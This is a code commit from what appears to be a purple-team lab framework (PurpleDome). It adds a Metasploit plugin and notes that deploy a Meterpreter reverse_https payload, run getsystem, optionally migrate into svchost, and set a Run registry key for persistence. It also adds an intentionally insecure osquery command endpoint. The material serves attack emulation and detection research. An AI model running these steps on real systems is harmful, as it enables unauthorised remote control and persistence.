mirror of https://github.com/avast/PurpleDome
commit
fc5ec6a702
@ -0,0 +1,17 @@
|
|||||||
|
Manual operation
|
||||||
|
----------------
|
||||||
|
|
||||||
|
target: start babymetal.exe
|
||||||
|
|
||||||
|
attacker:
|
||||||
|
|
||||||
|
use exploit/multi/handler
|
||||||
|
set payload windows/x64/meterpreter/reverse_https
|
||||||
|
set LHOST 192.168.178.189 (YMMV)
|
||||||
|
set LPORT 6666 (YMMV)
|
||||||
|
run
|
||||||
|
100.64.0.25 on kali
|
||||||
|
100.64.0.25 on win
|
||||||
|
|
||||||
|
getsystem
|
||||||
|
reg setval -k HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run -v purpledome -d c:\windows\system32\calc.exe
|
@ -0,0 +1,42 @@
|
|||||||
|
###
|
||||||
|
# Configuration for autostart experiments
|
||||||
|
|
||||||
|
### Registry key to set
|
||||||
|
# 0: "HKCU\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run",
|
||||||
|
# 1: "HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run",
|
||||||
|
# 2: HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnceEx\\\\0001\\\\Depend
|
||||||
|
regkey_variant: 2
|
||||||
|
|
||||||
|
### Data to set
|
||||||
|
# 0: c:\\windows\\system32\\calc.exe
|
||||||
|
# 1: c:\temp\evil.dll
|
||||||
|
# 2: c:\dummy.dll
|
||||||
|
data_options: 0
|
||||||
|
|
||||||
|
###
|
||||||
|
# Run getsystem first ?
|
||||||
|
getsystem: True
|
||||||
|
|
||||||
|
###
|
||||||
|
# Name of the registry key to add
|
||||||
|
value: purpledome3_new2
|
||||||
|
|
||||||
|
###
|
||||||
|
# meterpreter commands to execute before migrating to a new process
|
||||||
|
# Can be used to start processes to hide in
|
||||||
|
|
||||||
|
# start_commands:
|
||||||
|
# - execute -f calc.exe
|
||||||
|
|
||||||
|
### Upload files (those could be autostarted !)
|
||||||
|
#
|
||||||
|
upload:
|
||||||
|
- dummy.dll
|
||||||
|
|
||||||
|
###
|
||||||
|
# Migrate to a new process before modifying the registry
|
||||||
|
migrate: No
|
||||||
|
|
||||||
|
###
|
||||||
|
# Process to migrate to
|
||||||
|
migrate_target: svchost.exe
|
@ -0,0 +1,121 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
# A plugin to nmap targets slow motion, to evade sensors
|
||||||
|
|
||||||
|
from plugins.base.attack import AttackPlugin, Requirement
|
||||||
|
from app.interface_sfx import CommandlineColors
|
||||||
|
import os
|
||||||
|
|
||||||
|
|
||||||
|
class MetasploitAutostart1Plugin(AttackPlugin):
|
||||||
|
|
||||||
|
# Boilerplate
|
||||||
|
name = "metasploit_registry_autostart_1"
|
||||||
|
description = "Modify the registry to autostart"
|
||||||
|
ttp = "T1547_1"
|
||||||
|
references = ["https://attack.mitre.org/techniques/T1547/001/"]
|
||||||
|
tactics = "Persistence"
|
||||||
|
tactics_id = "TA0003"
|
||||||
|
|
||||||
|
required_files = [] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share
|
||||||
|
requirements = [Requirement.METASPLOIT]
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
super().__init__()
|
||||||
|
self.plugin_path = __file__
|
||||||
|
|
||||||
|
def run(self, targets):
|
||||||
|
""" Run the command
|
||||||
|
|
||||||
|
@param targets: A list of targets, ip addresses will do
|
||||||
|
"""
|
||||||
|
|
||||||
|
res = ""
|
||||||
|
payload_type = "windows/x64/meterpreter/reverse_https"
|
||||||
|
payload_name = "babymetal.exe"
|
||||||
|
target = self.targets[0]
|
||||||
|
|
||||||
|
# self.connect_metasploit()
|
||||||
|
# ip = socket.gethostbyname(self.attacker_machine_plugin.get_ip())
|
||||||
|
self.metasploit.smart_infect(target,
|
||||||
|
# lhost=ip,
|
||||||
|
payload=payload_type,
|
||||||
|
outfile=payload_name,
|
||||||
|
format="exe",
|
||||||
|
architecture="x64")
|
||||||
|
|
||||||
|
###
|
||||||
|
|
||||||
|
rkeys = [r"HKCU\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run",
|
||||||
|
r"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run",
|
||||||
|
r"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnceEx\\\\0001\\\\Depend"
|
||||||
|
]
|
||||||
|
regkey = rkeys[self.conf['regkey_variant']]
|
||||||
|
# value = "purpledome"
|
||||||
|
|
||||||
|
data_options = [r"c:\\windows\\system32\\calc.exe ",
|
||||||
|
r"c:\\temp\\evil.dll",
|
||||||
|
r"c:\\dummy.dll"]
|
||||||
|
data = data_options[self.conf['data_options']]
|
||||||
|
# data = r"c:\\windows\\system32\\calc.exe "
|
||||||
|
|
||||||
|
# regkey = self.conf['regkey']
|
||||||
|
value = self.conf["value"]
|
||||||
|
# data = self.conf["data"]
|
||||||
|
command_set = f"reg setval -k {regkey} -v {value} -d {data}"
|
||||||
|
command_create = f"reg createkey -k {regkey}"
|
||||||
|
|
||||||
|
if self.conf["getsystem"]:
|
||||||
|
self.metasploit.getsystem(target,
|
||||||
|
variant=0,
|
||||||
|
situation_description="Elevating privileges to write to the registry",
|
||||||
|
countermeasure="Observe how pipes are used. Take steps before (gaining access) and after (abusing those new privileges) into account for detection."
|
||||||
|
)
|
||||||
|
|
||||||
|
self.attack_logger.vprint(
|
||||||
|
f"{CommandlineColors.OKCYAN}Execute {command_set} through meterpreter{CommandlineColors.ENDC}", 1)
|
||||||
|
|
||||||
|
if "upload" in self.conf and len(self.conf["upload"]):
|
||||||
|
print(f"Before {self.metasploit.meterpreter_execute_on(['pwd'], target)}")
|
||||||
|
print(self.metasploit.meterpreter_execute_on(["cd c:\\"], target))
|
||||||
|
print(f"After {self.metasploit.meterpreter_execute_on(['pwd'], target)}")
|
||||||
|
for src in self.conf["upload"]:
|
||||||
|
print(src)
|
||||||
|
self.attacker_machine_plugin.put(
|
||||||
|
os.path.join(os.path.dirname(self.plugin_path), "resources", src), src)
|
||||||
|
self.metasploit.upload(target, src, src) # Make sure the process to hide behind is running
|
||||||
|
|
||||||
|
if "start_commands" in self.conf and len(self.conf["start_commands"]):
|
||||||
|
for cmd in self.conf["start_commands"]:
|
||||||
|
print(cmd)
|
||||||
|
self.metasploit.meterpreter_execute_on([cmd], target) # Make sure the process to hide behind is running
|
||||||
|
|
||||||
|
if self.conf["migrate"]:
|
||||||
|
tgt = self.conf["migrate_target"]
|
||||||
|
print(f"Migrate to {tgt}")
|
||||||
|
self.metasploit.migrate(target, name=tgt)
|
||||||
|
|
||||||
|
logid = self.attack_logger.start_metasploit_attack(source=self.attacker_machine_plugin.get_ip(),
|
||||||
|
target=target.get_ip(),
|
||||||
|
metasploit_command=command_set,
|
||||||
|
ttp=self.ttp,
|
||||||
|
name="registry add run key",
|
||||||
|
description=self.description,
|
||||||
|
tactics=self.tactics,
|
||||||
|
tactics_id=self.tactics_id,
|
||||||
|
situation_description="",
|
||||||
|
countermeasure=""
|
||||||
|
)
|
||||||
|
res = self.metasploit.meterpreter_execute_on([command_create], target)
|
||||||
|
print(res)
|
||||||
|
res = self.metasploit.meterpreter_execute_on([command_set], target)
|
||||||
|
print(res)
|
||||||
|
self.attack_logger.stop_metasploit_attack(source=self.attacker_machine_plugin.get_ip(),
|
||||||
|
target=target.get_ip(),
|
||||||
|
metasploit_command=command_set,
|
||||||
|
ttp=self.ttp,
|
||||||
|
logid=logid,
|
||||||
|
result=res)
|
||||||
|
###
|
||||||
|
# breakpoint()
|
||||||
|
return res
|
@ -0,0 +1,3 @@
|
|||||||
|
# OSQuery
|
||||||
|
|
||||||
|
Standalone OSQuery experiment.
|
@ -0,0 +1,43 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
""" The remote bastion for the sensor. Used to control the osquery on the target. Opens a web command shell.
|
||||||
|
This is not meant to be secure and MUST NOT be used in a productive environment. As we use this in a hacking lab this
|
||||||
|
is reasonable.
|
||||||
|
|
||||||
|
Test with curl:
|
||||||
|
|
||||||
|
curl -X POST -F 'command=test' localhost:6666/osquery
|
||||||
|
|
||||||
|
(select timestamp from time)
|
||||||
|
"""
|
||||||
|
|
||||||
|
from flask import Flask, jsonify, request
|
||||||
|
import osquery
|
||||||
|
|
||||||
|
|
||||||
|
# TODO: Create a proper tool out of it
|
||||||
|
# TODO: Start osqueryi with proper parameters
|
||||||
|
# TODO: On the controller side: Find a collection of queries to get the system state
|
||||||
|
|
||||||
|
# TODO: Interesting tables: appcompat_shims, authenticode, autoexec, certificates, etc_hosts, logged_in_users
|
||||||
|
|
||||||
|
app = Flask(__name__)
|
||||||
|
osquery_instance = osquery.ExtensionClient('/home/vagrant/test.sock')
|
||||||
|
osquery_instance.open()
|
||||||
|
|
||||||
|
|
||||||
|
@app.route("/osquery", methods=['POST'])
|
||||||
|
def api():
|
||||||
|
data = {}
|
||||||
|
if request.method == 'POST':
|
||||||
|
command = request.form["command"]
|
||||||
|
data = {"command": command}
|
||||||
|
client = osquery_instance.extension_client()
|
||||||
|
data["result"] = client.query(command).response
|
||||||
|
return jsonify(data)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
# Important: This is to be run on target hosts only. Those are hacked anyway.
|
||||||
|
# Very bad security practice to use it in real world.
|
||||||
|
app.run(host='0.0.0.0', port=6666) # nosec
|
@ -0,0 +1,72 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
# A plugin to experiment with Linux osquery
|
||||||
|
|
||||||
|
# https://github.com/osquery/osquery-python
|
||||||
|
|
||||||
|
from plugins.base.sensor import SensorPlugin
|
||||||
|
# import os
|
||||||
|
# from jinja2 import Environment, FileSystemLoader, select_autoescape
|
||||||
|
|
||||||
|
|
||||||
|
class LinuxOSQueryPlugin(SensorPlugin):
|
||||||
|
# Boilerplate
|
||||||
|
name = "osquery"
|
||||||
|
description = "Linux osquery plugin" # Can later be extended to support other OS-es as well
|
||||||
|
|
||||||
|
required_files = []
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
super().__init__()
|
||||||
|
self.plugin_path = __file__
|
||||||
|
|
||||||
|
self.debugit = False
|
||||||
|
|
||||||
|
def process_templates(self):
|
||||||
|
""" process jinja2 templates of the config files and insert own config """
|
||||||
|
|
||||||
|
pass
|
||||||
|
|
||||||
|
def prime(self):
|
||||||
|
""" Hard-core install. Requires a reboot """
|
||||||
|
|
||||||
|
# pg = self.get_playground()
|
||||||
|
|
||||||
|
self.vprint("Installing Linux OSQuery", 3)
|
||||||
|
|
||||||
|
self.run_cmd('echo "deb [arch=amd64] https://pkg.osquery.io/deb deb main" | sudo tee /etc/apt/sources.list.d/osquery.list')
|
||||||
|
self.run_cmd("sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 1484120AC4E9F8A1A577AEEE97A80C63C9D8B80B")
|
||||||
|
self.run_cmd("sudo apt update")
|
||||||
|
self.run_cmd("sudo apt -y install osquery")
|
||||||
|
self.run_cmd("")
|
||||||
|
# sudo apt -y install python3-pip
|
||||||
|
# pip install osquery
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
def install(self):
|
||||||
|
""" Installs the filebeat sensor """
|
||||||
|
|
||||||
|
return
|
||||||
|
|
||||||
|
def start(self):
|
||||||
|
self.run_cmd("osqueryi --ephemeral --disable_logging --disable_database --extensions_socket /home/vagrant/test.sock") # TODO: Find better socket name
|
||||||
|
|
||||||
|
"""
|
||||||
|
ec = osquery.ExtensionClient("/home/vagrant/test.sock")
|
||||||
|
ec.open()
|
||||||
|
c = ec.extension_client()
|
||||||
|
c.query("select timestamp from time")
|
||||||
|
"""
|
||||||
|
|
||||||
|
return None
|
||||||
|
|
||||||
|
def stop(self):
|
||||||
|
""" Stop the sensor """
|
||||||
|
return
|
||||||
|
|
||||||
|
def collect(self, path):
|
||||||
|
""" Collect sensor data """
|
||||||
|
|
||||||
|
dst = ""
|
||||||
|
return [dst]
|
Loading…
Reference in New Issue